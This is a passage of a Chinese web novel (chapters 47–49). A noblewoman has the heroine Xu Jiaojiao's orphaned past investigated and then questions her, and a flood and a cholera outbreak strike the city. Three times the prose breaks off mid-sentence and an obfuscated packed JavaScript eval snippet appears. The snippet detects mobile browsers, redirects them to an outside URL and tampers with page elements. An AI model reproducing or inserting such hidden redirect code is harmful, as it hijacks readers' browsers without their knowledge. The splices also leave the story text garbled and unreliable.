刘寡妇却摆摆手，将碗塞给静心，压低声音道：“许娘子，外头的话……你别在意。我们这些老街坊都晓得你的为人，绝不是他们说的那样。” 许娇娇心中一暖：“多谢大娘。” “不过……”刘寡妇犹豫了一下，还是说道，“这几日你们小心些。我听说，有些混混想趁乱来闹事，说……说要抓妖女去烧了。” 静心脸色煞白：“他们敢！” “唉，这些人什么事做不出来？”刘寡妇叹气，“总之你们晚上闩好门，莫要随便开门。若有什么事，就喊一声，街坊邻居都能听见。” 送走刘寡妇，许娇娇站在院门口，望着巷子深处。夜色渐浓，家家户户亮起灯火，可不知为何，她觉得这熟悉的巷子，忽然变得陌生而危险。 谣言如刀，不见血，却能杀人。 47. 第47章 身世之谜 暑气蒸腾的晌午，沈府后宅的沁芳斋内却是一片难得的清凉。 四角置着冰盆，丝丝凉气弥散开来，将窗外聒噪的蝉鸣都隔得远了些。沈夫人李氏端坐在紫檀木嵌螺钿的圈椅中，手中捻着一串沉香木念珠，目光落在下首垂手立着的仆妇身上。 那仆妇姓孙，是沈夫人从娘家带来的陪房，办事最是稳妥可靠。前几日奉了命，悄悄往落溪村走了一趟，今日才回来复命。 “都打听清楚了？”沈夫人声音不高，却透着不容置疑的威仪。 孙嬷嬷躬身道：“回夫人，老奴在落溪村住了三日，问遍了村里的老人，旁敲侧击，总算将许娘子的身世摸了个八九不离十。” “细细说来。” “是。”孙嬷嬷清了清嗓子，开始叙述，“那许大郎夫妇，大约是十五年前搬到落溪村的。听村里最年长的张耆老说，当年他们来的时候，许大郎约莫二十二三年纪，柳氏也是十七八岁的样子，说是北边遭了灾，南下投亲。可投的什么亲，后来也没见着，就在村西头置了两亩薄田，三间茅屋，安顿下来。” 沈夫人微微颔首，示意她继续。 “夫妻二人在落溪村安顿后，听说柳氏一直不能有孕，沈大郎四处求医，无甚效用，后来听说被一个路过的道人算了一卦，说来年柳氏便能怀上。果然，第二年柳氏就有了许娘子。许娘子开春出生的，取名娇杏。怪的是，这孩子生下来就不哭不闹，到了该说话的年纪，还是咿咿呀呀发不出清晰的字音。村里渐渐有了闲话，说这孩子怕是个……”孙嬷嬷顿了顿，压低声音，“是个不祥的。” “愚昧。”沈夫人淡淡道。 “谁说不是呢。”孙嬷嬷叹道，“可许大郎夫妇待这孩子极好。许大郎懂医术，常给村里人看病，也不收钱，只换些米粮菜蔬。他出诊时常把娇杏带在身边，虽说孩子不会说话，可那双眼睛亮得很，总盯着她爹抓药、诊脉，看得入神。” “许大郎的医术如何？” “村里人都说高明。”孙嬷嬷道，“好些疑难杂症，镇上大夫看不好的，他一剂药下去就能见轻。老奴特意打听了几桩，有发热惊厥的孩童，有产后血崩的妇人，都是他救回来的。只是……” “只是什么？” 孙嬷嬷犹豫了一下：“只是许大郎这人，性子有些孤僻。除了看病，平日里不大与村人来往。他娘子柳氏据说长的花容月貌，只是深居简出，很少年人，见人也总是低着头，说话带着北地口音，温柔和气，却总像藏着心事。”沈夫人捻动念珠的手指微微一顿：“接着说。” “许娘子七岁那年，出了大事。”孙嬷嬷的声音沉了下去，“那年秋猎，许大郎跟着村里的猎户进山，说要打些野味给娘子补身子。谁知这一去……就再没回来。” “怎么死的？” “说是遇上了黑瞎子。”孙嬷嬷道，“尸首抬回来的时候，已经不成样子。柳氏当场就晕了过去，醒来后便一病不起。拖了不到三个月，也撒手去了。留下娇杏一个七岁的孩子，又聋又哑，孤苦伶仃。” 堂内一片寂静，只有冰盆里冰块融化的细微滴水声。 沈夫人闭了闭眼：“后来呢？” “后来……”孙嬷嬷声音里带上了不忍，“村里人本就嫌娇杏不祥，这下更是坐实了。都说她克父克母，是扫把星。有些顽童往她家扔石头，大人也不管。许大郎留下的两亩田、三间屋，也被村人占了去，说是帮着照料孤女，实则……” “实则如何？” “老奴打听时，那一家支支吾吾，只说娇杏自己跑丢了。可村里李婆子私下告诉老奴，分明是他们把娇杏赶出了家门，寒冬腊月，连件厚衣裳都没给。” 沈夫人手中的念珠停了：“李婆子？” “是，就是后来收留娇杏的李婆子。”孙嬷嬷道，“李婆子的丈夫早年间进山采药，被毒蛇咬了，是许大郎救回来的。这份恩情她一直记着。见娇杏被赶出来，实在可怜，就偷偷接到自家柴房住了几日。” “既如此，怎么又送到了水月庵？” 孙嬷嬷叹了口气：“李婆子自家也穷，还有一大家子要养活，实在养不起个孩子。况且村里流言愈烈，说她收留妖孽，连她家都要被排挤。没法子，她想起年轻时曾在水月庵做过帮工，与当时的了尘师父有几分交情，就把娇杏送去了。” “水月庵……”沈夫人眼中闪过一丝冷意，“那地方，我也有所耳闻。” “夫人明鉴。”孙嬷嬷声音更低，“李婆子说，她只知道了尘师父是个心善的出家人，没想到水仙姑竟和她完全不一样。”她顿了顿，见沈夫人神色凝重，才继续道：“听李婆子说，水仙姑嫌娇杏聋哑，干不了细活，动辄打骂。最狠的一次，只因观音殿走了水，烧了半边，水仙姑就说是许娘子克的，寒冬腊月，让娇杏跪在雪地上跪了一天一宿。第二日娇杏就发了高烧，水仙姑嫌她晦气，让人把她扔到后山漏风的茅屋里，说自生自灭。” 沈夫人手中的念珠“啪”地一声拍在案几上。 “是静尘——就是现在跟着许娘子的那个比丘尼，还有李婆子，两人偷偷送药送饭，娇杏才熬了过来。”孙嬷嬷声音有些发颤，“可也怪，那一场大病后，许娘子竟……竟能听见、能说话了。” 堂内又是一静。 沈夫人抬眼：“病了一场，就好了？” “李婆子说得神乎其神。”孙嬷嬷凑近些，声音压得极低，“说听许娘子说，做了个一个梦，梦中有一位白胡子的仙人点化，说原先只因时机未到，许娘子七窍只通了五窍，经过仙人点化，另外两窍就通了。见到她时眼睛清亮亮的，张口就叫’阿婆’，声音脆生生的，哪还有半点聋哑的样子？” “李婆子说，必定是神仙点化，绝不会错。”孙嬷嬷补了一句，“她说娇杏这孩子心善，命苦，老天爷开了眼。” 沈夫人沉默良久，才缓缓道：“那她的医术……” “这也奇。”孙嬷嬷道，“李婆子说，娇杏能说话后，记性变得特别好。许大郎生前的那些医书，她都能背下来；许大郎诊病的那些情形，她竟也都记得，说起来头头是道。还说，治好了她大儿媳妇的病，她那儿媳妇，基本上都瘫在床上的，听说许娘子开了个药方子，吃了十几副就有气色了，如今都能下地做事了。” 说完这些，孙嬷嬷似乎想起什么，又压低声音道：“还有一事……老奴在村里打听时，总觉得许大郎夫妇死得有些蹊跷。许大郎一个常年进山的猎户，怎会轻易被熊所伤？柳氏的身子骨一向不错，怎会伤心过度就一病不起？还有，许大郎留下的田产房屋，被张家占了后，那家子这些年日子过得越发红火，还在镇上开了间杂货铺子……” 她没再说下去，但意思已经很明显。 沈夫人久久不语。 窗外蝉鸣一阵紧似一阵，衬得屋内越发安静。冰盆里的冰块又化了一块，水滴落在铜盆里，发出清脆的“叮”一声。 “一个聋哑儿，一场大病后不但痊愈，还通了医理……”沈夫人缓缓开口，语气复杂，“听起来确实离奇。” “夫人，”孙嬷嬷小心翼翼道，“老奴觉得，许娘子或许真是有些机缘。她看病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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烛火在夏夜的微风中轻轻摇曳，将他修长的身影投在身后的书架上。他看得极慢，极仔细，每一条线索都不放过。 看到“许大郎夫妇操一口官话”时，他的目光停留了许久。 官话。 落溪村地处江南，村民多说吴语。一个南下逃荒的郎中，夫妇二人都能说一口流利的官话，这本就蹊跷。更蹊跷的是，密报中还提到，有村民回忆，许大郎偶尔脱口而出的某些用词，带着京城特有的腔调。 裴宴的指尖在“京城”二字上轻轻叩击。 许大郎夫妇，会是京城人士吗？若是，为何要远走江南，隐姓埋名在一个偏僻山村？又为何……会双双横死？ 除非…… 裴宴忽然想起宫中一些秘闻。前朝有位太医，因卷入后宫争斗，满门被诛，唯有一个幼子被忠仆救出，不知所踪…… 他眼神深了深。 若许娇娇真是太医之后，那她的身世就不仅仅是一个孤女那么简单。她的父母之死，恐怕也另有隐情。 裴宴转身回到书案前，提笔写下一封信。字迹劲瘦，力透纸背。 “江南之事，继续深查。重点有三：一，许大郎真实身份；二，其夫妇死因；三，水月庵水仙姑与王兆贵的勾连。” 写罢，他唤来长风：“用最快的方式，送到江南。” “是。” 而在江南菰城，沈夫人在沁芳斋内坐了许久，终于起身，对候在外间的周嬷嬷道：“明日，请许娘子过府一趟。宁儿该复诊了。” 周嬷嬷会意：“是，老奴这就去安排。” 有些事，总要亲眼见见，亲口问问，才能放心。 夜色深沉，两处宅邸，两份心思，却都系在了同一个女子身上。 而柳枝巷的小院里，许娇娇对此一无所知。她正坐在灯下，仔细研读医术，偶尔提笔批注，神情专注。 窗外的月，静静照着这纷扰人间。 48. 第48章 沈夫人相约 晨光初透，柳枝巷里已有早起的动静。 静尘提着菜篮子推开院门时，额角还挂着细密的汗珠，脸颊被晨间的暑气蒸得泛红。她将篮子放在井台边，一边舀水洗手，一边蹙着眉道：“方才在街上听说，沿海起了飓风，怕是这几日要有大暴雨。官府正派人加固堤坝，沿湖的村民也开始往高处搬了。” 许娇娇正坐在堂屋门口的小杌子上翻看医书，闻言抬起头：“飓风？” “可不是么。”静尘擦了手，走进堂屋，“刘寡妇说，她有个远房表妹嫁给了沈府的一位牛管事，就在苕溪下游沈家的庄子里当差。那庄子紧挨着太湖，每年汛期都提心吊胆的。今年飓风来得早，怕是要遭殃。” 许娇娇放下书，走到院子里。晨风带着湿热的潮气拂面而来，天色确实有些异样——东方天际堆着厚重的铅灰色云层，日头被遮得严严实实，空气闷得人喘不过气。 她前世生活在沿海城市，对台风再熟悉不过。算算时节，如今是农历七月，正是台风多发的时候。菰城虽不直接临海，可太湖水域辽阔，一旦遭遇强降雨，加上上游来水，极易引发洪涝。 “刘寡妇还说什么了？”她问。 静尘从篮子里往外拿菜，一边道：“她说沈府在菰城的田产极多，光在苕溪下游和太湖畔就有上千亩良田桑园。每年汛期，沈家都要抽调大批人手防洪护堤，损失不小。今年这飓风来得突然，沈府怕是忙得很。” 正说着，静心从厨房里探出头来：“师姐买了什么菜？有没有姜氏茶楼的点心？娇杏最喜欢他家的桂花糕了。” “自然买了。”静尘笑着从篮子底层取出一个油纸包，“娇杏爱吃，我特意绕路去的。” 许娇娇心里一暖，接过油纸包：“师姐别光想着我，你和静心喜欢吃什么，也买些来。咱们如今日子宽裕些了，不必太省。” 静尘摆摆手：“我们不爱吃那些甜腻的，你吃就好。”她顿了顿，看向天色，“这雨要是下起来，怕是要连着好几日。咱们得备些干粮柴火，省得出不了门。” 许娇娇点头，正想说什么，院门外忽然传来叩门声。 静尘去开门，见是沈府的马车停在巷口，周嬷嬷领着个小丫鬟站在门外。 “周嬷嬷？”许娇娇有些意外，迎上前去，“您怎么今日来了？不是说好半月后复诊么？可是小娘子身子有什么不妥？” 周嬷嬷笑容和蔼：“许娘子莫急，不是五姑娘的事。是我们夫人说，许久不见娘子，想和娘子说说话，特意打发老奴来接您过府一趟。” 许娇娇心头微动。沈夫人突然相邀，绝不会只是“说说话”这么简单。怕是也听说了那些谣言。沈府那样的人家，最重名声，或许是有疑虑未消，需要她澄清吧！ 她面上不动声色，福了一礼：“夫人相邀，我自当从命。只是容我稍作收拾，带上药箱。” “娘子请便。”周嬷嬷含笑等候。 许娇娇回屋换了身干净的月白色细葛布褙子，头发重新绾过，插上那支沈夫人赏的银簪。又检查了药箱，该带的药材、银针一样不落。 静尘跟进来，压低声音：“娇杏，小心些。沈夫人这时候找你，怕是……” “我知道。”许娇娇拍了拍她的手，“放心，我有分寸。” 她背上药箱走出门，周嬷嬷已打起车帘。马车是沈府女眷常用的青帷小车，里头铺着软垫，角落里放着冰盆，一进去便觉清凉。 马车在湿漉漉的青石板路上行驶，许娇娇透过车帘缝隙看着窗外匆匆的人影。街边不少铺子正忙着上门板，挑着担子的小贩脚步急促，空气中弥漫着一股山雨欲来的紧张。 周嬷嬷端坐在对面，眼观鼻鼻观心，保持着得体的沉默。她是沈夫人身边最得力的管事嬷嬷，她亲自来接许娇娇，那是很大的体面。 许娇娇也安静地坐着，听着‘嘚嘚’的马蹄声合着风铎演绎出的旋律，半个时辰不到，马车就到了沈府的侧门，只见今日门前比往常忙碌。侧门处有几辆装载麻袋的马车进出，几个管事模样的人正在低声交谈，神色凝重。但这份忙碌被约束得井井有条，仆役们步履匆匆却安静有序，显出名门世家遇事不乱的气度。 周嬷嬷引着许娇娇从角门入内，穿过两道回廊，径直往沈夫人日常处理家事的偏厅“静颐堂”去。这里不如正厅轩敞，却更显私密，是沈夫人见些不必惊动沈老夫人的客人之所。 厅内陈设雅致，临窗的紫檀木书案上堆着几本账册，一旁的花觚里插着几枝半开的玉簪花，清雅的香气与冰盆散发的凉气交织。沈夫人今日穿了件沉香色遍地金通袖褙子，头发梳得一丝不苟，戴了支赤金点翠的簪子，端坐在书案后，正提笔写着什么。 “夫人，许娘子到了。”周嬷嬷轻声禀报。 沈夫人抬起头，放下笔，脸上露出温和的笑容：“许娘子来了，坐。”她目光在许娇娇身上微微一扫，见她穿着素净，举止沉稳，眼中闪过一丝不易察觉的赞许。 许娇娇上前规规矩矩行礼，在下首的绣墩上虚坐了半边身子，脊背挺直，姿态恭敬却不卑微。 丫鬟奉上茶点，是今年新进的雨前龙井和几样精致的江南细点。沈夫人待许娇娇喝了口茶，才缓缓开口：“有些日子没见，宁儿的病多亏你调理，近日气色好了许多。” “这是医者本分。”许娇娇放下茶盏，温声道，“小娘子先天不足，需缓缓图之。我开的方子只是调理，关键还在于日常将养。” 沈夫人点点头，话锋却是一转：“前些日子，外头有些关于娘子的风言风语，我也听说了些。” 许娇娇心头微紧，面上依旧平静：“劳夫人挂心，都是些无稽之谈，如今已散了。” “无风不起浪。”沈夫人语气温和，眼神却带着审视，“我既请娘子为宁儿诊治，自然要对娘子的来历有个了解。所以前些时候，派人去了趟落溪村。” 许娇娇迎上沈夫人的目光，坦然道：“夫人查问清楚，是应当的。我身世简单，并无不可对人言之处。” 沈夫人眼中掠过一丝讶异。寻常人遇到这般查问，多少会有些不自在或惶恐，可眼前这小娘子，态度磊落得让人意外。 “你倒坦荡。”沈夫人示意周嬷嬷将一份手札递过来，“我派去的人回来禀报，说你父母许大郎夫妇十五年前落户落溪村，你七岁时他们相继亡故，之后你被送去水月庵。”她顿了顿，声音放缓了些，“这些事，你可愿与我说说？” 许娇娇沉默片刻，才轻声道：“夫人既已查知，我也没什么可隐瞒的。父亲生前确是郎中，母亲身体孱弱。七岁那年，父亲进山采药遭遇不测，母亲悲伤过度，一病不起，不久也去了。”她语气平静，像是在叙述别人的故事，“村里人觉得我不祥，李阿婆心善，将我送到水月庵栖身。” “水月庵……”沈夫人缓缓重复这三个字，目光深沉，“我听说，那里的主持水仙姑，风评似乎不大好。” 许娇娇指尖微微一颤。她不知沈夫人查到了多少，关于水月庵那些龌龊事，关于水仙姑和王大官人的勾结……说，还是不说？ “我在庵中时，多是做些杂役。”她斟酌着字句，“静尘、静心两位师姐待我亲厚，其他……倒也无甚特别。”有些事，现在还不是掀开的时候。 沈夫人何等精明，从她细微的停顿中已听出未尽之言，却也不点破，只道：“我还听说，你幼时……曾患聋哑之症？” 来了。许娇娇心中暗叹，知道这才是沈夫人最在意的疑点。 “是。”她抬起头，眼神清澈，“我七岁前，确实是听不见，也说不出话。父亲在世时，想尽办法医治，却不见效。”她顿了顿，声音更轻了些，“父亲母亲去后，我在水月庵生了一场大病，高烧数日。昏沉间，似乎总听见有人唤我，看见一些模糊的影子……醒来后，竟能隐约听见声音了。后来慢慢调理，竟一日好过一日。” 她说完目光坦荡看着沈夫人。 沈夫人凝视着她，试图从她眼中找出破绽。可那双眼睛太干净，太坦然，除了提起父母时一闪而过的悲伤，再无其他。 “李阿婆说，许是神仙点化。”许娇娇补了一句，唇角泛起一丝极淡的苦笑，“或许，我只是命不该绝，老天爷给了一条生路。” 这话说得谦卑，却也在理。世人多信鬼神，一场大病后聋哑痊愈虽罕见，却也并非没有先例。至于医术——父亲本就是郎中，耳濡目染，加上天资聪颖，倒也能说得通。 沈夫人沉吟良久。她派人查访的结果，与许娇娇所说大致吻合。那些“妖女”的谣言，经她的人细究，发现最初是从庆和堂附近传出来的，其中恐怕另有蹊跷。 而眼前这小娘子，身世坎坷却心性坚韧，面对查问不卑不亢，提起父母虽有伤感却无怨怼，确实不像心术不正之人。 “你的医术，是跟父亲学的？”沈夫人又问。 “父亲留下的医书，我自幼翻看。在水月庵时，遇到过年老的比丘尼，常教我认读。后来自己摸索，又得李真人指点，才略通皮毛。”许娇娇答得谨慎。 沈夫人点点头，终于露出一抹真切的笑意：“你能有今日，实属不易。”她顿了顿，语气转为温和，“外头那些闲话，你不必放在心上。沈府既请你为宁儿诊治，便是信你。只是……” 她话锋一转：“沈家这样的门第，结交往来最重谨慎。今日与你说明这些，是望你体谅。你只管安心为宁儿调理，其他琐事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238783|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不必挂怀。” 这话说得含蓄，意思却明白——沈府认可她的医术和人品，但限于身份，不可能有更深的交集。这是世家大族惯常的分寸。 许娇娇起身，郑重行了一礼：“我明白的，谢夫人坦诚相待。” 正事说完，气氛轻松了些。沈夫人又问了几句沈淑宁日常调理的细节，许娇娇一一仔细回答。 临了，沈夫人忽然道：“外头飓风将至，这几日怕是不太平。你若需要什么药材，或有什么难处，可让周嬷嬷带话。” 许娇娇心中一动。沈夫人这话看似寻常关怀，实则是在告诉她：沈府虽不能明着庇护，但若有需要，不会袖手旁观。 “谢夫人关怀。”她再次行礼。 从静颐堂出来时，外头天色越发阴沉，远处滚过闷雷。周嬷嬷送许娇娇至二门，低声道：“夫人今日与娘子说的，都是体己话。娘子是聪明人，当知轻重。” 许娇娇点头：“嬷嬷放心，我都省得。” 回程的马车上，她静静坐着，回想方才的对话。沈夫人的态度比她预想的要好，虽仍有保留，但至少没有因谣言而疏远。这已是最好的结果。 至于那些更深的事——父母的死因，水月庵的肮脏勾当，她现在还不能说。没有证据，空口无凭，反而会让人疑心她别有用心。 慢慢来。她在心中告诫自己。现在最要紧的，是站稳脚跟，积蓄力量。 马车驶入柳枝巷时，豆大的雨点开始砸落。许娇娇快步走进小院，静尘和静心正在檐下张望，见她回来，忙迎上来。 “怎么样？沈夫人没为难你吧？”静心急切地问。 许娇娇摇摇头，将经过简略说了。听到沈夫人查问身世，静尘面色微白；听到沈夫人态度尚好，两人又松了口气。 “这就好，这就好。”静尘抚着胸口，“只要沈府还信你，外头那些闲话就掀不起大浪。” 正说着，外头风雨骤然加剧。狂风卷着暴雨，扑打着门窗，天地间一片混沌。 许娇娇站在堂屋门口，望着外头白茫茫的雨幕。这场风雨，怕是要下许久了。 而她不知道的是，此刻沈府书房内，沈夫人正与刚刚回府的老夫人沈老太君禀报今日之事。 “母亲，那许娘子我见过了。”沈夫人语气恭敬，“身世确如所查，是个可怜孩子。医术看来是真才实学。” 沈老太君年过六旬，头发银白，面容清癯，一双眼睛却依旧锐利。她手中捻着佛珠，缓缓道：“既如此，便继续让她为宁儿诊治。只是分寸要把握好就成，前些日子我已说过，莫要太过亲近。咱们这样的人家，不知根底的人，不可深交。” “媳妇明白。”沈夫人垂首，“已与她说明白了。” “外头那些谣言，查清来源了吗？” “隐约指向庆和堂，但还没有确证。”沈夫人道，“媳妇想着，许是同行相妒。” 沈老太君冷哼一声：“跳梁小丑，不必理会。倒是这场风雨……”她望向窗外，眉头微蹙，“你们老太爷这两日忙着苕溪的事，你招呼他们一声，仔细着些，莫要让他涉险，年纪大了，要防着点。老二人虽在府里，这两日怕也要被官府叫去商议防洪之事。家里女眷你要安顿好，莫要让她们添乱。” “是，媳妇晓得。” 雨势如瀑，笼罩着整个菰城。 许娇娇在坐在堂屋圈椅上，和静尘和静心说着闲话，“……只是些土法子。水患当前，一要疏通沟渠，确保排水通畅；二要加固堤坝，重点防护薄弱处；三要提前转移粮食物资，尤其是药材。水灾过后易发疫病，药材储备至关重要。” 静心眼睛亮亮的听着，“娇杏，你怎么知道那么多。竟连如何防洪都知晓。” 许娇娇一愣，坏了，不知不觉把前世所知晓的知识说了出来，这些在前世都是耳熟能详的事，在这里却是不可能知晓的。真是话多必失。 “我也是看了书才知道的，我不是前几日让你写字来着，你嫌烦，不喜欢。你再看看静尘师姐，她可是每天都在习字。” 许娇娇岔开话题，说起静心不喜欢学习这事，触到了静心的短处。 “哎！我好像还有菜没有摘干净，我去做事了，你们聊。”静心笑嘻嘻的跑了。 静尘看着静心的背影摇了摇头。 许娇娇呵呵笑了几声。 “还有，师姐，这两日我们还要备药，一些防疫的草药，如苍术、艾叶、贯众等，若是遇到疫病，可焚烧熏烟，驱疫防病。” 静尘点头应是，神色却若有所思。她看着许娇娇在烛光下平静的侧脸，心中暗叹：娇杏懂得实在太多了些。那些见识，那些沉稳，哪里像个十三四岁的小娘子？ 49. 第49章 水漫苕溪 这么大的雨，许娇娇和静尘静心都没有出门，张记生药铺因为许娇娇被传谣言的事，她已经许久不曾去了，张东家前些日子还遣了陈平给她带了信，信中说让她得空去一趟铺子。 雨已下了整整三天三夜。 起初是淅淅沥沥的细雨，继而转为滂沱大雨，最后成了倾盆之势。雨水像瀑布般从天上倒灌下来，砸在瓦片上发出震耳欲聋的声响，在青石板路上汇成湍急的溪流。菰城的街巷成了纵横交错的河道，浑浊的泥水漫过门槛，涌进低矮的民宅。 第四日清晨，天还没亮透，急促的锣声就响彻了柳枝巷。 “哐——哐——哐——” 锣声又急又密，混着声嘶力竭的呼喊：“苕溪要决堤了！快往高处撤！快啊！” 许娇娇一夜未眠。这三天她守着油灯，将能想到的防疫药材一一整理出来，分门别类装好。静尘和静心也没睡踏实，夜里几次起身查看门窗是否渗水。旺财似乎也感到了不安，蜷在许娇娇脚边，耳朵时不时抖动一下。 听到锣声，三人同时起身。静心推开堂屋的门，一股湿冷的风夹着雨星扑进来。巷子里已经乱成一片——有人抱着包裹往外冲，有人哭喊着找孩子，还有人正往门槛外垒沙袋。 “快，收拾要紧的东西！”许娇娇当机立断，“药箱、干粮、换洗衣裳，其他的都不要了！” 三人手忙脚乱地收拾。许娇娇将药箱背在身上，静尘拎着装干粮的包袱，静心抱着几件厚衣裳。临出门前，许娇娇回头看了眼这个住了数月的小院——堂屋桌上的医书还摊开着，墙角那丛月季在风雨中瑟瑟发抖，旺财不安地蹭着她的腿。 “旺财，走！”她弯腰抱起狗，三人冲进雨幕。 巷子里人挤人，哭喊声、叫骂声、锣鼓声混成一片。雨水没过脚踝，冰凉刺骨。许娇娇护着药箱，艰难地往前挪。静尘紧紧拉着静心的手，生怕被人群冲散。 “往城东走！那里地势高！”有人在高喊。 人群像无头的苍蝇，一会儿涌向这边，一会儿涌向那边。许娇娇心里却清楚——苕溪在城西，若真决堤，洪水会自西向东席卷整个菰城。城东虽地势稍高，可若水势太大，也未必安全。 “去仁心堂！”她忽然想起，仁心堂建在城南一处小坡上，是城里地势最高的地方之一，“那里有药铺，或许需要人手！” 三人逆着人流，艰难地往城南挪。路上不断有人摔倒，包裹散落，旋即被泥水淹没。有个老妇人抱着孙子跌坐在水里，孩子吓得哇哇大哭。许娇娇上前搀扶，静尘和静心也来帮忙，好不容易才把祖孙俩拉起来。 等他们跌跌撞撞赶到仁心堂时，天已大亮。雨势稍歇，可天色依旧阴沉得可怕。 仁心堂外已聚了不少人——有浑身湿透的灾民，有忙着安置人群的伙计，还有几个大夫正给受伤的人包扎。赵药师站在门口指挥，头发散乱，衣裳湿了大半，声音沙哑：“把轻伤的安排到厢房，重伤的抬到后堂！药材！药材搬上二楼！” 许娇娇挤上前：“赵药师！” 赵药师转头看见她，眼睛一亮：“许娘子！你来得正好！快，帮忙安置伤者！” “现在情况如何？”许娇娇一边卸下药箱一边问。 “苕溪上游三个时辰前就决了口子，”赵药师脸色凝重，“洪水正往下游冲，最多两个时辰就到菰城。官府在组织青壮加固城墙，但恐怕挡不住。”他压低声音，“朝廷派的钦差已经到了，可远水救不了近火。” 许娇娇心头一沉。两个时辰……太短了。 她不再多问，立刻投入救治。静尘和静心也帮着烧热水、分发干粮。仁心堂里乱中有序，大夫们各司其职，伙计们穿梭往来。 伤者多是逃生时摔伤、碰伤的，也有被倒塌房屋压伤的。许娇娇处理了几个外伤，手法娴熟利落。赵药师在一旁看着，暗暗点头。 到了午时，洪水果然来了。 先是远处传来闷雷般的轰响，像千百头野兽在咆哮。紧接着，浑浊的黄水从西城门涌入，以肉眼可见的速度漫过街道，吞噬房屋。水位迅速上涨，转眼间就没过了膝盖。 仁心堂建在高处，暂时无虞。可站在门前望去，半个菰城已成泽国。房屋只露出屋顶，树木只剩树梢，到处漂浮着家具、木料，还有……牲畜的尸体。 哭喊声、求救声，被涛涛水声淹没。 许娇娇站在门廊下，望着这片汪洋，心中冰凉。她前世见过洪水，可那是现代，有完善的预警和救援体系。而这里……没有冲锋舟，没有救生衣，没有大型机械，只有血肉之躯。 “快看！那边有人！”静心忽然指着远处惊呼。 只见一处屋顶上趴着几个人，正拼命挥手。水已淹到屋檐，随时可能把房子冲垮。 赵药师急得跺脚：“太远了！过不去！” 正焦急时，几艘小船从另一条街巷划了过来。船上是官府的人，还有沈府的仆役——许娇娇认出了领头的，正是那日去柳枝巷接她的周嬷嬷的儿子，沈府外院的一个管事。 小船艰难地靠近那处屋顶，把人一个个接上船。其中一个老翁上船时腿软，险些跌进水里，被船上的人死死拉住。 “沈府出动了所有能用的小船，”赵药师叹道，“可还是不够。” 整整一天，救援都在继续。小船来回穿梭，救起一个又一个被困的人。可水位还在上涨，更多的人被困在屋顶、树梢，绝望地等待。 傍晚时分，雨终于停了。可洪水不退反涨——上游的水还在源源不断地涌来。 仁心堂已挤满了人。伤者，灾民，老人孩子，挤在每一个能落脚的地方。空气里弥漫着湿气、汗味和血腥味。有人低声啜泣，有人呆坐不语，有人焦躁地踱步。 许娇娇忙得脚不沾地。外伤要处理，受惊的要安抚，还有几个发热的，需得特别看顾——大灾之后必有大疫，这是常识。 夜里，她终于得空喘口气，坐在药房的门槛上，就着一盏油灯查看药材库存。赵药师走过来，递给她一块干饼：“吃点东西。” 许娇娇接过，道了声谢。饼又干又硬，可她吃得很快——不知道下一顿是什么时候。 “朝廷的钦差到了。”赵药师在她身边坐下，低声道，“是御前左军统制·兼权江南道救灾安抚使。听说姓裴。” 许娇娇手一顿。裴？这么巧？她想起元宵夜那个傲慢的少年也姓裴，还有纯阳宫石径上那个清冷的身影，柳枝巷那夜翻墙而入的荒唐行径。应该不是，这么危险的地方，他怎么会来。 许娇娇心里有些乱，连她也说不清楚，为什么会忽然想到他。 “裴安抚使带来了一批粮食和药材，”赵药师没注意她的异样，继续说，“可还是不够。菰城周边十几个村镇都淹了，灾民数以万计。更麻烦的是……”他顿了顿，声音更低了，“今天救回来的人里，已经有七八个开始腹泻、发热了。” 许娇娇收敛心神，忙问：“症状如何？” “腹痛如绞，水泻不止，高热畏寒。”赵药师眉头紧锁，“我怀疑是……霍乱。” 这两个字像冰锥，扎进许娇娇心里。霍乱，在古代几乎是绝症，传染性极强，死亡率极高。一旦爆发，后果不堪设想。 “隔离了吗？”她急问。 “已经将发热的人单独安置在后院厢房，”赵药师道，“可人这么多，地方这么挤，难保不传染。” 许娇娇站起身：“我去看看。” 后院厢房里，七八个病人躺在草席上，个个面色苍白，嘴唇干裂。有个年轻妇人抱着婴儿，孩子哭得声嘶力竭，她却无力安抚。许娇娇上前查看，婴儿额头滚烫，小脸通红。 “孩子也染上了？”她轻声问。 妇人泪如雨下：“大夫，求您救救孩子……他才三个月……” 许娇娇心中酸楚。她检查了婴儿的症状，又查看了其他病人，心中有了判断——确是霍乱无疑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248105|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “赵药师，”她走出厢房，神色凝重，“必须立刻采取隔离措施。所有病人集中安置，健康的人不得靠近。接触过病人的人也要观察。还有，饮水必须煮沸，食物要煮熟，排泄物要深埋。” 赵药师点头：“我已经吩咐下去了。可药材……”他苦笑，“治霍乱的药材本就稀缺，如今更是千金难求。” 许娇娇沉吟片刻：“我有几个土方子，或许管用。苍术、艾叶熏烟可消毒避疫，马齿苋、车前草煎水可止泻，虽不能根治，或可缓解症状。” “只能试试了。” 这一夜，许娇娇几乎没合眼。她带着静尘、静心，将仁心堂里里外外用艾草熏了一遍。又熬了几大锅草药，分发给众人。赵药师则带着伙计，在院中挖坑深埋污物。 可疫情还是蔓延开了。 第二日，又多了十几个病人。第三日，这个数字翻了一番。仁心堂后院已无处安置，只好在前院搭起简易的草棚。 